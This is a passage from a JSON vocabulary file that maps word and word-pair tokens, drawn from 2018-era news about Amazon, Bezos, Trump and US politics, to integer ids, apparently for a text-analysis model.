donald\": 155582,\n  \"mechanism mnuchin\": 155583,\n  \"significant effect\": 155584,\n  \"read children\": 155585,\n  \"peoples\": 155586,\n  \"essentially development\": 155587,\n  \"month senator\": 155588,\n  \"brokers convoy\": 155589,\n  \"pdf produced\": 155590,\n  \"haughty\": 155591,\n  \"outstripped facebook\": 155592,\n  \"delightful story\": 155593,\n  \"clear jab\": 155594,\n  \"replacements\": 155595,\n  \"morethough trump\": 155596,\n  \"best editor\": 155597,\n  \"company favor\": 155598,\n  \"1800s publications\": 155599,\n  \"illinois university\": 155600,\n  \"school year\": 155601,\n  \"rosen artisan\": 155602,\n  \"sensors precisely\": 155603,\n  \"alison\": 155604,\n  \"car window\": 155605,\n  \"bringing hq2\": 155606,\n  \"esque stories\": 155607,\n  \"rooms releasing\": 155608,\n  \"nicaraguan\": 155609,\n  \"term mission\": 155610,\n  \"consider ocasio\": 155611,\n  \"display\": 155612,\n  \"investigative\": 155613,\n  \"grin\": 155614,\n  \"trolled trump\": 155615,\n  \"legendary tv\": 155616,\n  \"salesforce benioff\": 155617,\n  \"professions\": 155618,\n  \"forest code\": 155619,\n  \"recommendations algorithms\": 155620,\n  \"distinct challenges\": 155621,\n  \"big job\": 155622,\n  \"widespread damage\": 155623,\n  \"moscow urdupoint\": 155624,\n  \"invest counsel\": 155625,\n  \"portion spelled\": 155626,\n  \"consensually sent\": 155627,\n  \"ubhi changed\": 155628,\n  \"sullivan\": 155629,\n  \"luther\": 155630,\n  \"maduro opposition\": 155631,\n  \"ohjuliatweets\": 155632,\n  \"contain extensive\": 155633,\n  \"today editors\": 155634,\n  \"story treasury\": 155635,\n  \"seams\": 155636,\n  \"mastrel pointed\": 155637,\n  \"caption amazon\": 155638,\n  \"abortion rights\": 155639,\n  \"media news\": 155640,\n  \"digital response\": 155641,\n  \"push resolution\": 155642,\n  \"plane crash\": 155643,\n  \"store hudson\": 155644,\n  \"piano\": 155645,\n  \"austria\": 155646,\n  \"make handmade\": 155647,\n  \"citizens blind\": 155648,\n  \"sandbox r4ee\": 155649,\n  \"health science\": 155650,\n  \"schaeffer volatility\": 155651,\n  \"bullhorns\": 155652,\n  \"standalone company\": 155653,\n  \"bbc focus\": 155654,\n  \"anarchist named\": 155655,\n  \"population uu\": 155656,\n  \"panagora asset\": 155657,\n  \"engineering operations\": 155658,\n  \"times bestselling\": 155659,\n  \"year heard\": 155660,\n  \"facilities outside\": 155661,\n  \"monetized\": 155662,\n  \"1887\": 155663,\n  \"amazon mogul\": 155664,\n  \"modern retellings\": 155665,\n  \"amazon 3196\": 155666,\n  \"target makes\": 155667,\n  \"stupid west\": 155668,\n  \"hotel hosted\": 155669,\n  \"golden parachute\": 155670,\n  \"dirty energy\": 155671,\n  \"talking figure\": 155672,\n  \"morals\": 155673,\n  \"tomi lahren\": 155674,\n  \"bridge collapse\": 155675,\n  \"sign spending\": 155676,\n  \"internet monopoly\": 155677,\n  \"alleged email\": 155678,\n  \"trump desire\": 155679,\n  \"company licensing\": 155680,\n  \"simmons college\": 155681,\n  \"placed reviews\": 155682,\n  \"trump paperback\": 155683,\n  \"gaap financial\": 155684,\n  \"day\": 155685,\n  \"competed away\": 155686,\n  \"medium boxes\": 155687,\n  \"amazon food\": 155688,\n  \"ford quarterly\": 155689,\n  \"says trade\": 155690,\n  \"tech crash\": 155691,\n  \"true retailer\": 155692,\n  \"criticized google\": 155693,\n  \"president talked\": 155694,\n  \"lnahmias\": 155695,\n  \"turkey president\": 155696,\n  \"fiasco\": 155697,\n  \"harder bargain\": 155698,\n  \"favorite criticism\": 155699,\n  \"dipped\": 155700,\n  \"publicly received\": 155701,\n  \"business law\": 155702,\n  \"currently trading\": 155703,\n  \"authoritarian minded\": 155704,\n  \"toyota sedan\": 155705,\n  \"firm sbd\": 155706,\n  \"judges created\": 155707,\n  \"quarter bartiromo\": 155708,\n  \"podesta erica\": 155709,\n  \"store costly\": 155710,\n  \"co2 levels\": 155711,\n  \"today shadow\": 155712,\n  \"bezos bragging\": 155713,\n  \"capitol sept\": 155714,\n  \"capitalism follow\": 155715,\n  \"declared national\": 155716,\n  \"cnbc david\": 155717,\n  \"stating china\": 155718,\n  \"ppzofqazok\": 155719,\n  \"viceland docuseries\": 155720,\n  \"beetle\": 155721,\n  \"rat poison\": 155722,\n  \"ny cosponsor\": 155723,\n  \"spat puts\": 155724,\n  \"litany\": 155725,\n  \"locations nationwide\": 155726,\n  \"defence deal\": 155727,\n  \"stroy\": 155728,\n  \"tosses\": 155729,\n  \"j8\": 155730,\n  \"approved government\": 155731,\n  \"cuomo yeah\": 155732,\n  \"righteous gun\": 155733,\n  \"kennedy china\": 155734,\n  \"replay videoplay\": 155735,\n  \"neural machine\": 155736,\n  \"lehrer brought\": 155737,\n  \"deathbed\": 155738,\n  \"tax fraud\": 155739,\n  \"motorcycle\": 155740,\n  \"trump crosshairs\": 155741,\n  \"post refundable\": 155742,\n  \"story rightly\": 155743,\n  \"oasis\": 155744,\n  \"tv hits\": 155745,\n  \"posted continue\": 155746,\n  \"playing watch\": 155747,\n  \"finding ways\": 155748,\n  \"trump 054\": 155749,\n  \"vulgarity\": 155750,\n  \"father\": 155751,\n  \"tacit validation\": 155752,\n  \"similar companies\": 155753,\n  \"deride trump\": 155754,\n  \"military surroundings\": 155755,\n  \"technews\": 155756,\n  \"sanders white\": 155757,\n  \"centres reside\": 155758,\n  \"thanksgiving melissa\": 155759,\n  \"immigrant advocacy\": 155760,\n  \"audible unit\": 155761,\n  \"glorious\": 155762,\n  \"oscars england\": 155763,\n  \"hurricanes\": 155764,\n  \"scam trump\": 155765,\n  \"counsels\": 155766,\n  \"space worse\": 155767,\n  \"girls trip\": 155768,\n  \"pain longer\": 155769,\n  \"granting clemency\": 155770,\n  \"increased value\": 155771,\n  \"way ahead\": 155772,\n  \"canada steel\": 155773,\n  \"adjacent locations\": 155774,\n  \"including ckpics\": 155775,\n  \"bezos thoughts\": 155776,\n  \"spending economists\": 155777,\n  \"boarding\": 155778,\n  \"cargo pants\": 155779,\n  \"agency policy\": 155780,\n  \"aplenty words\": 155781,\n  \"expo s\\u00e9\": 155782,\n  \"enquirer threat\": 155783,\n  \"annual cloud\": 155784,\n  \"morning reported\": 155785,\n  \"unnecessarily\": 155786,\n  \"starting donation\": 155787,\n  \"hurt plenty\": 155788,\n  \"retail mintel\": 155789,\n  \"page editor\": 155790,\n  \"courts don\": 155791,\n  \"facebook lead\": 155792,\n  \"unheralded\": 155793,\n  \"retailer costco\": 155794,\n  \"place independent\": 155795,\n  \"force democrats\": 155796,\n  \"amid ma\": 155797,\n  \"identifying ways\": 155798,\n  \"oeknowing\": 155799,\n  \"recent marital\": 155800,\n  \"mirrors\": 155801,\n  \"busy holiday\": 155802,\n  \"grappling\": 155803,\n  \"drugs air\": 155804,\n  \"skiing\": 155805,\n  \"clark thanksgiving\": 155806,\n  \"giant outlook\": 155807,\n  \"report links\": 155808,\n  \"iq trump\": 155809,\n  \"surcharge based\": 155810,\n  \"focus 2018\": 155811,\n  \"land open\": 155812,\n  \"j0 object\": 155813,\n  \"involve bezos\": 155814,\n  \"taxes fight\": 155815,\n  \"municipal handouts\": 155816,\n  \"spiral\": 155817,\n  \"await amazon\": 155818,\n  \"potentially abusive\": 155819,\n  \"suppresses positive\": 155820,\n  \"geography game\": 155821,\n  \"washington suburb\": 155822,\n  \"appropriate behaviour\": 155823,\n  \"minister bento\": 155824,\n  \"humpton\": 155825,\n  \"today rally\": 155826,\n  \"griffeth house\": 155827,\n  \"personal trump\": 155828,\n  \"contrasting styles\": 155829,\n  \"new business\": 155830,\n  \"michigan residents\": 155831,\n  \"harvey funding\": 155832,\n  \"seriously consider\": 155833,\n  \"google hate\": 155834,\n  \"day struggles\": 155835,\n  \"misguided trump\": 155836,\n  \"sinclair stations\": 155837,\n  \"providing competitively\": 155838,\n  \"new chinese\": 155839,\n  \"meets melodrama\": 155840,\n  \"truman\": 155841,\n  \"tat tariffs\": 155842,\n  \"african countries\": 155843,\n  \"amazon basks\": 155844,\n  \"certain level\": 155845,\n  \"bezos downplayed\": 155846,\n  \"money efforts\": 155847,\n  \"merkel warned\": 155848,\n  \"ralph\": 155849,\n  \"bredesen rep\": 155850,\n  \"chrisvernonshow\": 155851,\n  \"koning\": 155852,\n  \"month revealed\": 155853,\n  \"risk management\": 155854,\n  \"world lurid\": 155855,\n  \"average ground\": 155856,\n  \"hassett\": 155857,\n  \"america live\": 155858,\n  \"plhilp dick\": 155859,\n  \"totally driven\": 155860,\n  \"includes according\": 155861,\n  \"turning_point_taylor_collins_poster_600_387892 jpg\": 155862,\n  \"global distribution\": 155863,\n  \"zip nada\": 155864,\n  \"print sexually\": 155865,\n  \"equally adamant\": 155866,\n  \"nation conversation\": 155867,\n  \"recently gotten\": 155868,\n  \"post state\": 155869,\n  \"recently touched\": 155870,\n  \"good 2018\": 155871,\n  \"investing success\": 155872,\n  \"vug\": 155873,\n  \"pirro book\": 155874,\n  \"stunning post\": 155875,\n  \"benioffs\": 155876,\n  \"image 385x240\": 155877,\n  \"golden exits\": 155878,\n  \"instagram traps\": 155879,\n  \"maybe think\": 155880,\n  \"russell\": 155881,\n  \"evan vucci\": 155882,\n  \"mark rutte\": 155883,\n  \"campaign volunteers\": 155884,\n  \"approve plans\": 155885,\n  \"mcgahn\": 155886,\n  \"public assertion\": 155887,\n  \"aclu report\": 155888,\n  \"investors feared\": 155889,\n  \"law effort\": 155890,\n  \"billionaires marking\": 155891,\n  \"concern low\": 155892,\n  \"democratic candidate\": 155893,\n  \"nights christopher\": 155894,\n  \"medicine brexiteers\": 155895,\n  \"real time\": 155896,\n  \"talk sounds\": 155897,\n  \"0701et\": 155898,\n  \"makes cnn\": 155899,\n  \"loom large\": 155900,\n  \"trump pee\": 155901,\n  \"trademark owners\": 155902,\n  \"downforce\": 155903,\n  \"headquarters located\": 155904,\n  \"high demand\": 155905,\n  \"spectacular lunch\": 155906,\n  \"generated huge\": 155907,\n  \"product details\": 155908,\n  \"audibly disappointed\": 155909,\n  \"attendees including\": 155910,\n  \"telecommunications sector\": 155911,\n  \"piloting\": 155912,\n  \"graham amazon\": 155913,\n  \"groundsto ask\": 155914,\n  \"date jeff\": 155915,\n  \"trump brand\": 155916,\n  \"document wikileaks\": 155917,\n  \"reportedly complained\": 155918,\n  \"continues bleeding\": 155919,\n  \"paper columnist\": 155920,\n  \"office making\": 155921,\n  \"luxembourg called\": 155922,\n  \"increase resources\": 155923,\n  \"critic according\": 155924,\n  \"psychological harm\": 155925,\n  \"downturn announcing\": 155926,\n  \"ranks toronto\": 155927,\n  \"absolutely necessary\": 155928,\n  \"trump advises\": 155929,\n  \"host revealed\": 155930,\n  \"pepper tomatoes\": 155931,\n  \"justin sun\": 155932,\n  \"butt bezos\": 155933,\n  \"beauty pic\": 155934,\n  \"owner publicly\": 155935,\n  \"released woodward\": 155936,\n  \"ordinary families\": 155937,\n  \"experts warn\": 155938,\n  \"unlocking\": 155939,\n  \"sanders writes\": 155940,\n  \"lunar rovers\": 155941,\n  \"broadly govpredict\": 155942,\n  \"weprin\": 155943,\n  \"workers stage\": 155944,\n  \"higher volume\": 155945,\n  \"norway\": 155946,\n  \"delivery dates\": 155947,\n  \"garner carries\": 155948,\n  \"traded goods\": 155949,\n  \"included clutch\": 155950,\n  \"day retelling\": 155951,\n  \"week alleging\": 155952,\n  \"seemingly good\": 155953,\n  \"burgeoning industry\": 155954,\n  \"heartburn\": 155955,\n  \"senior member\": 155956,\n  \"hilarious flops\": 155957,\n  \"news jonathan\": 155958,\n  \"house brand\": 155959,\n  \"sunshine book\": 155960,\n  \"shakeup el\": 155961,\n  \"bedeviled\": 155962,\n  \"falsely stated\": 155963,\n  \"lead zeppelin\": 155964,\n  \"inched closer\": 155965,\n  \"board networks\": 155966,\n  \"secure veto\": 155967,\n  \"nosrat simple\": 155968,\n  \"pushed qanon\": 155969,\n  \"psat stopped\": 155970,\n  \"area sign\": 155971,\n  \"nily rozic\": 155972,\n  \"despite describing\": 155973,\n  \"sellers shipping\": 155974,\n  \"bit mcdowell\": 155975,\n  \"ago ___\": 155976,\n  \"switch console\": 155977,\n  \"observance\": 155978,\n  \"khashoggi citizen\": 155979,\n  \"rubio office\": 155980,\n  \"pasture don\": 155981,\n  \"ice detains\": 155982,\n  \"environment precisely\": 155983,\n  \"stop worrying\": 155984,\n  \"joins\": 155985,\n  \"facility according\": 155986,\n  \"article_inline obtaining\": 155987,\n  \"tostring\": 155988,\n  \"docket\": 155989,\n  \"kenya\": 155990,\n  \"sports tech\": 155991,\n  \"jan\": 155992,\n  \"harjinder singh\": 155993,\n  \"provides ultrasonic\": 155994,\n  \"installs\": 155995,\n  \"scott bland\": 155996,\n  \"stations broadcasting\": 155997,\n  \"wexton northern\": 155998,\n  \"inclusive\": 155999,\n  \"stickler\": 156000,\n  \"prompting dissenting\": 156001,\n  \"lee best\": 156002,\n  \"rielly slams\": 156003,\n  \"showindex owlprevitem\": 156004,\n  \"bezos wanted\": 156005,\n  \"apnewsbreak\": 156006,\n  \"gtec 2016\": 156007,\n  \"unhappiness\": 156008,\n  \"driving counterfeit\": 156009,\n  \"minute requests\": 156010,\n  \"stands apart\": 156011,\n  \"financial resources\": 156012,\n  \"danner\": 156013,\n  \"big yeah\": 156014,\n  \"people minds\": 156015,\n  \"bezos wiki\": 156016,\n  \"names think\": 156017,\n  \"britney hoobraj\": 156018,\n  \"dinged amazon\": 156019,\n  \"disseminate\": 156020,\n  \"prying ears\": 156021,\n  \"regularly reviews\": 156022,\n  \"ruins\": 156023,\n  \"complex intercompany\": 156024,\n  \"supporting political\": 156025,\n  \"2017 including\": 156026,\n  \"videoid articleelem\": 156027,\n  \"china card\": 156028,\n  \"buying cargo\": 156029,\n  \"sealed\": 156030,\n  \"essence\": 156031,\n  \"subprime debt\": 156032,\n  \"easily\": 156033,\n  \"house elections\": 156034,\n  \"sneering\": 156035,\n  \"dorsey appeared\": 156036,\n  \"data luxembourg\": 156037,\n  \"seal 10bn\": 156038,\n  \"entangled\": 156039,\n  \"matter market\": 156040,\n  \"article california\": 156041,\n  \"publication motives\": 156042,\n  \"substantial\": 156043,\n  \"corrupt media\": 156044,\n  \"nives dol\\u0161ak\": 156045,\n  \"levied\": 156046,\n  \"resource time\": 156047,\n  \"understated simplicity\": 156048,\n  \"eisenberg ecco\": 156049,\n  \"bezos depicted\": 156050,\n  \"laws typically\": 156051,\n  \"disney going\": 156052,\n  \"add years\": 156053,\n  \"create threat\": 156054,\n  \"man abandoned\": 156055,\n  \"shares drop\": 156056,\n  \"trump antipathy\": 156057,\n  \"explanatory post\": 156058,\n  \"defineproperties\": 156059,\n  \"overdrive\": 156060,\n  \"letter seekingalpha\": 156061,\n  \"national stage\": 156062,\n  \"entrepreneur elon\": 156063,\n  \"bunge\": 156064,\n  \"yell abuse\": 156065,\n  \"arisen surrounding\": 156066,\n  \"death\": 156067,\n  \"cuomo left\": 156068,\n  \"improve information\": 156069,\n  \"signature enforcement\": 156070,\n  \"vadim\": 156071,\n  \"york lighting\": 156072,\n  \"pushed aside\": 156073,\n  \"youth population\": 156074,\n  \"duquesne\": 156075,\n  \"big partner\": 156076,\n  \"precincts\": 156077,\n  \"cloud businesses\": 156078,\n  \"2023 compared\": 156079,\n  \"publication allegedly\": 156080,\n  \"consumers outrageous\": 156081,\n  \"regarding north\": 156082,\n  \"dickerson yeah\": 156083,\n  \"jobbers\": 156084,\n  \"salesbut\": 156085,\n  \"local state\": 156086,\n  \"google digital\": 156087,\n  \"amzn announcement\": 156088,\n  \"cdn cnn\": 156089,\n  \"specific moves\": 156090,\n  \"ailing mta\": 156091,\n  \"577 000\": 156092,\n  \"prime television\": 156093,\n  \"alibaba baba\": 156094,\n  \"conservative thought\": 156095,\n  \"latest swipe\": 156096,\n  \"mortgage debt\": 156097,\n  \"ubhi used\": 156098,\n  \"cnn videx\": 156099,\n  \"david soundbite\": 156100,\n  \"dsps tl\": 156101,\n  \"objectionable\": 156102,\n  \"new passports\": 156103,\n  \"consider social\": 156104,\n  \"season certainly\": 156105,\n  \"reportedly considered\": 156106,\n  \"aborted fetal\": 156107,\n  \"seller doesn\": 156108,\n  \"online audience\": 156109,\n  \"mond\": 156110,\n  \"firm contracts\": 156111,\n  \"traditional people\": 156112,\n  \"kow\": 156113,\n  \"president saying\": 156114,\n  \"lees\": 156115,\n  \"unlikely set\": 156116,\n  \"japanese prime\": 156117,\n  \"abramowitz responded\": 156118,\n  \"bullish option\": 156119,\n  \"deal advances\": 156120,\n  \"power outages\": 156121,\n  \"chia pet\": 156122,\n  \"embarrassment bezos\": 156123,\n  \"blocked 100\": 156124,\n  \"uncovered described\": 156125,\n  \"culmination\": 156126,\n  \"conflict amazon\": 156127,\n  \"grant hindsley\": 156128,\n  \"68m says\": 156129,\n  \"carlton cuse\": 156130,\n  \"read buy\": 156131,\n  \"significant momentum\": 156132,\n  \"dsw\": 156133,\n  \"fakes cost\": 156134,\n  \"blaxploitation action\": 156135,\n  \"software services\": 156136,\n  \"genre\": 156137,\n  \"inlet\": 156138,\n  \"multiple stories\": 156139,\n  \"big advocates\": 156140,\n  \"services nyc\": 156141,\n  \"huge apps\": 156142,\n  \"endured months\": 156143,\n  \"campaign erected\": 156144,\n  \"paso\": 156145,\n  \"kitchen man\": 156146,\n  \"tweets covering\": 156147,\n  \"trump birthplace\": 156148,\n  \"sector worth\": 156149,\n  \"largest markets\": 156150,\n  \"burrito leaving\": 156151,\n  \"9e72 633a4f8c129d\": 156152,\n  \"suburban\": 156153,\n  \"kurzius\": 156154,\n  \"133 acre\": 156155,\n  \"reuters contributed\": 156156,\n  \"fb shares\": 156157,\n  \"confidence amazon\": 156158,\n  \"wiring\": 156159,\n  \"amazon analyst\": 156160,\n  \"making faculties\": 156161,\n  \"retailers enables\": 156162,\n  \"know want\": 156163,\n  \"spend levels\": 156164,\n  \"bdi\": 156165,\n  \"favor deploying\": 156166,\n  \"value add\": 156167,\n  \"country addabbo\": 156168,\n  \"dorsey tweeted\": 156169,\n  \"pay adequate\": 156170,\n  \"graphic\": 156171,\n  \"googler vividly\": 156172,\n  \"known celebrity\": 156173,\n  \"303567 jeff\": 156174,\n  \"homework\": 156175,\n  \"successor greg\": 156176,\n  \"air traffic\": 156177,\n  \"campbell investment\": 156178,\n  \"blasio took\": 156179,\n  \"natl 460\": 156180,\n  \"lodging\": 156181,\n  \"trump joint\": 156182,\n  \"flee cuba\": 156183,\n  \"regional sports\": 156184,\n  \"suspected data\": 156185,\n  \"taken jabs\": 156186,\n  \"black tie\": 156187,\n  \"tariffs\": 156188,\n  \"bezos competitors\": 156189,\n  \"laws limiting\": 156190,\n  \"getting sweetheart\": 156191,\n  \"5t2ev8dpbe\": 156192,\n  \"clearly marked\": 156193,\n  \"instance ami\": 156194,\n  \"deceive\": 156195,\n  \"environmental regulators\": 156196,\n  \"dna reference\": 156197,\n  \"trump satirical\": 156198,\n  \"speaker learn\": 156199,\n  \"cap nearly\": 156200,\n  \"salkever\": 156201,\n  \"blasio began\": 156202,\n  \"practice\": 156203,\n  \"previously told\": 156204,\n  \"cranky old\": 156205,\n  \"matt wyckhouse\": 156206,\n  \"workers peeing\": 156207,\n  \"print\": 156208,\n  \"simply isn\": 156209,\n  \"social networks\": 156210,\n  \"chip\": 156211,\n  \"customers wanting\": 156212,\n  \"citizenry\": 156213,\n  \"run season\": 156214,\n  \"laura gassner\": 156215,\n  \"americans\": 156216,\n  \"investor sentiment\": 156217,\n  \"family affairs\": 156218,\n  \"essential consultants\": 156219,\n  \"press scrutiny\": 156220,\n  \"communications policy\": 156221,\n  \"profit goodyear\": 156222,\n  \"aviv\": 156223,\n  \"brazilians\": 156224,\n  \"trump fortune\": 156225,\n  \"technology competition\": 156226,\n  \"online publication\": 156227,\n  \"strippers containing\": 156228,\n  \"promoted trump\": 156229,\n  \"empirical evidence\": 156230,\n  \"anti clinton\": 156231,\n  \"sidelines long\": 156232,\n  \"chickasaw trails\": 156233,\n  \"woolley\": 156234,\n  \"india pvt\": 156235,\n  \"new appetite\": 156236,\n  \"planned government\": 156237,\n  \"decent pay\": 156238,\n  \"postal deliveries\": 156239,\n  \"giant commerce\": 156240,\n  \"extortion just\": 156241,\n  \"bezos communications\": 156242,\n  \"domino\": 156243,\n  \"satisfactory results\": 156244,\n  \"szu\": 156245,\n  \"sourceamazon frum\": 156246,\n  \"bezos mackenziebezos\": 156247,\n  \"finally making\": 156248,\n  \"da cy\": 156249,\n  \"recently australian\": 156250,\n  \"2012 republican\": 156251,\n  \"largest city\": 156252,\n  \"photo eric\": 156253,\n  \"53bn\": 156254,\n  \"emaciated children\": 156255,\n  \"trump ends\": 156256,\n  \"apple opens\": 156257,\n  \"software tech\": 156258,\n  \"31m worth\": 156259,\n  \"prime account\": 156260,\n  \"quite deliver\": 156261,\n  \"signature policies\": 156262,\n  \"repairing nycha\": 156263,\n  \"zone eligible\": 156264,\n  \"feds held\": 156265,\n  \"sent 470\": 156266,\n  \"brazilian government\": 156267,\n  \"sustained funding\": 156268,\n  \"amid decades\": 156269,\n  \"tweeted trump\": 156270,\n  \"sandboxes\": 156271,\n  \"unchecked tech\": 156272,\n  \"unfairness going\": 156273,\n  \"environmental defense\": 156274,\n  \"right gift\": 156275,\n  \"emeritus benedict\": 156276,\n  \"goff recently\": 156277,\n  \"nell\": 156278,\n  \"financial strains\": 156279,\n  \"bigger impact\": 156280,\n  \"bring increases\": 156281,\n  \"daily argues\": 156282,\n  \"promised property\": 156283,\n  \"military lawyers\": 156284,\n  \"hydro flasks\": 156285,\n  \"zinke campaign\": 156286,\n  \"upstate senators\": 156287,\n  \"offline bookstore\": 156288,\n  \"mabel\": 156289,\n  \"pulloutdecision\": 156290,\n  \"stores food\": 156291,\n  \"fact flores\": 156292,\n  \"threats critics\": 156293,\n  \"recognizing taiwan\": 156294,\n  \"raises minimum\": 156295,\n  \"lifes\": 156296,\n  \"swarm\": 156297,\n  \"getty_1126502092_387831\": 156298,\n  \"fitness melchiorre\": 156299,\n  \"beneficiary manhattan\": 156300,\n  \"cost manufacturers\": 156301,\n  \"diplomacy chance\": 156302,\n  \"vibrant immigrant\": 156303,\n  \"luisa kroll\": 156304,\n  \"sinclair isn\": 156305,\n  \"201\": 156306,\n  \"flying disc\": 156307,\n  \"shooting reads\": 156308,\n  \"server719398 channels\": 156309,\n  \"trump pleas\": 156310,\n  \"business roughly\": 156311,\n  \"seen walking\": 156312,\n  \"policy enforcement\": 156313,\n  \"democratic congress\": 156314,\n  \"desktops\": 156315,\n  \"wealthy generally\": 156316,\n  \"cities offered\": 156317,\n  \"airstrike\": 156318,\n  \"report weather\": 156319,\n  \"tomorrow\": 156320,\n  \"commentary\": 156321,\n  \"terrence dopp\": 156322,\n  \"selectively\": 156323,\n  \"ruggiero\": 156324,\n  \"business\": 156325,\n  \"published scathing\": 156326,\n  \"terminated covfefe\": 156327,\n  \"imagination tutorials\": 156328,\n  \"dollar index\": 156329,\n  \"projecting\": 156330,\n  \"people overdose\": 156331,\n  \"words international\": 156332,\n  \"history amid\": 156333,\n  \"unmarked\": 156334,\n  \"microbial\": 156335,\n  \"dressed\": 156336,\n  \"expeditiously\": 156337,\n  \"conditions sen\": 156338,\n  \"company units\": 156339,\n  \"benedict xvi\": 156340,\n  \"government doesn\": 156341,\n  \"el\": 156342,\n  \"phase\": 156343,\n  \"andy lack\": 156344,\n  \"america asylum\": 156345,\n  \"capital advisers\": 156346,\n  \"sock options\": 156347,\n  \"corey schmid\": 156348,\n  \"hbo orig\": 156349,\n  \"publicize damaging\": 156350,\n  \"hard rock\": 156351,\n  \"elevated national\": 156352,\n  \"reinvestment amazon\": 156353,\n  \"toobin\": 156354,\n  \"imaging sabyasachi\": 156355,\n  \"embroiled deeply\": 156356,\n  \"refrigerators\": 156357,\n  \"amzn share\": 156358,\n  \"decent writing\": 156359,\n  \"putin commercial\": 156360,\n  \"shiong acquired\": 156361,\n  \"media driven\": 156362,\n  \"rage fortunately\": 156363,\n  \"g4 p4\": 156364,\n  \"new shepherd\": 156365,\n  \"latitude\": 156366,\n  \"sizelarger text\": 156367,\n  \"trump deportation\": 156368,\n  \"process dod\": 156369,\n  \"wing firebrand\": 156370,\n  \"reporter questions\": 156371,\n  \"prevent shutdown\": 156372,\n  \"uniforms customized\": 156373,\n  \"colorado baker\": 156374,\n  \"remain passionate\": 156375,\n  \"prime exclusive\": 156376,\n  \"history reed\": 156377,\n  \"agribusiness growth\": 156378,\n  \"jfk assassination\": 156379,\n  \"cameron stauch\": 156380,\n  \"annual pay\": 156381,\n  \"soldiers opted\": 156382,\n  \"qz\": 156383,\n  \"second vote\": 156384,\n  \"cfr\": 156385,\n  \"park play\": 156386,\n  \"security forces\": 156387,\n  \"prove disastrous\": 156388,\n  \"potus oks\": 156389,\n  \"goods rose\": 156390,\n  \"fail jeff\": 156391,\n  \"center flanked\": 156392,\n  \"device orders\": 156393,\n  \"approach led\": 156394,\n  \"reporter ronan\": 156395,\n  \"n\\u00f3brega presidency\": 156396,\n  \"forbes asia\": 156397,\n  \"eye catching\": 156398,\n  \"retarded indigenous\": 156399,\n  \"basic principles\": 156400,\n  \"renewed focus\": 156401,\n  \"parties scheduled\": 156402,\n  \"reporting sky\": 156403,\n  \"inflate amazon\": 156404,\n  \"exclusives tech\": 156405,\n  \"wealthy donors\": 156406,\n  \"shaken investors\": 156407,\n  \"consultants\": 156408,\n  \"vesa compatible\": 156409,\n  \"potential merger\": 156410,\n  \"holds monopoly\": 156411,\n  \"daily utility\": 156412,\n  \"leaders blaming\": 156413,\n  \"warehouses waving\": 156414,\n  \"newsletters\": 156415,\n  \"opportunity act\": 156416,\n  \"usps inspector\": 156417,\n  \"philanthropy\": 156418,\n  \"ballooning costs\": 156419,\n  \"oversight republicans\": 156420,\n  \"monthly job\": 156421,\n  \"caleb light\": 156422,\n  \"timesunion\": 156423,\n  \"subsidiaries trump\": 156424,\n  \"ub vb\": 156425,\n  \"673\": 156426,\n  \"amazon novey\": 156427,\n  \"york working\": 156428,\n  \"a8 l7\": 156429,\n  \"plus deals\": 156430,\n  \"manigault\": 156431,\n  \"amazon half\": 156432,\n  \"search feature\": 156433,\n  \"wallow\": 156434,\n  \"bezos obtained\": 156435,\n  \"labor action\": 156436,\n  \"enabling arrests\": 156437,\n  \"frankfurt dax\": 156438,\n  \"facebook previously\": 156439,\n  \"arboretum treks\": 156440,\n  \"creating lot\": 156441,\n  \"day deals\": 156442,\n  \"workers trashing\": 156443,\n  \"pera\": 156444,\n  \"faces extradition\": 156445,\n  \"clutter\": 156446,\n  \"boring trump\": 156447,\n  \"prosector\": 156448,\n  \"raises question\": 156449,\n  \"litigating\": 156450,\n  \"ip suppose\": 156451,\n  \"filed freedom\": 156452,\n  \"admitted thousands\": 156453,\n  \"movie life\": 156454,\n  \"story older\": 156455,\n  \"table today\": 156456,\n  \"female characters\": 156457,\n  \"restock shelves\": 156458,\n  \"amazon selected\": 156459,\n  \"phone\": 156460,\n  \"apple severed\": 156461,\n  \"new sites\": 156462,\n  \"descriptionplaintext late\": 156463,\n  \"american democracy\": 156464,\n  \"lengthy prison\": 156465,\n  \"currently rolling\": 156466,\n  \"car carrying\": 156467,\n  \"2384\": 156468,\n  \"dwe3mueavh\": 156469,\n  \"clean gg\": 156470,\n  \"company original\": 156471,\n  \"developed best\": 156472,\n  \"trump issued\": 156473,\n  \"regarding device\": 156474,\n  \"borrell\": 156475,\n  \"dayand\": 156476,\n  \"post personally\": 156477,\n  \"reinstated mccabe\": 156478,\n  \"story zakim\": 156479,\n  \"decade history\": 156480,\n  \"want bezos\": 156481,\n  \"site newegg\": 156482,\n  \"helping entrepreneurs\": 156483,\n  \"definitive agreement\": 156484,\n  \"amazon embarrassment\": 156485,\n  \"midwest\": 156486,\n  \"sister\": 156487,\n  \"analysis comics\": 156488,\n  \"inhumane getty\": 156489,\n  \"rockers poster\": 156490,\n  \"city shirts\": 156491,\n  \"donate subscribe\": 156492,\n  \"goth jessica\": 156493,\n  \"damares\": 156494,\n  \"day make\": 156495,\n  \"vile\": 156496,\n  \"eyeing individuals\": 156497,\n  \"investors confront\": 156498,\n  \"describing\": 156499,\n  \"bruder nomadland\": 156500,\n  \"developers did\": 156501,\n  \"distracted easily\": 156502,\n  \"simply impossible\": 156503,\n  \"deal derided\": 156504,\n  \"years tax\": 156505,\n  \"karin\": 156506,\n  \"year compared\": 156507,\n  \"lockhart\": 156508,\n  \"faa decision\": 156509,\n  \"immediately think\": 156510,\n  \"income inequality\": 156511,\n  \"oscars selma\": 156512,\n  \"country build\": 156513,\n  \"government sweeping\": 156514,\n  \"amazon acrylic\": 156515,\n  \"volume grew\": 156516,\n  \"clearly seen\": 156517,\n  \"culling\": 156518,\n  \"italie photo\": 156519,\n  \"miners ur\": 156520,\n  \"winner new\": 156521,\n  \"mccain absence\": 156522,\n  \"amazon spreads\": 156523,\n  \"insults\": 156524,\n  \"immigrants supercharging\": 156525,\n  \"noble lost\": 156526,\n  \"promoting new\": 156527,\n  \"borrowing\": 156528,\n  \"portuguese island\": 156529,\n  \"attenborough\": 156530,\n  \"chamayou observes\": 156531,\n  \"frankfurt lost\": 156532,\n  \"city fed\": 156533,\n  \"hedge fund\": 156534,\n  \"meaning way\": 156535,\n  \"hudgins postal\": 156536,\n  \"company understand\": 156537,\n  \"important question\": 156538,\n  \"says survivor\": 156539,\n  \"google sergey\": 156540,\n  \"electoral votes\": 156541,\n  \"gleefully promoted\": 156542,\n  \"football stadium\": 156543,\n  \"rumors\": 156544,\n  \"fingerprint records\": 156545,\n  \"solutions particularly\": 156546,\n  \"avert shutdown\": 156547,\n  \"thing seattle\": 156548,\n  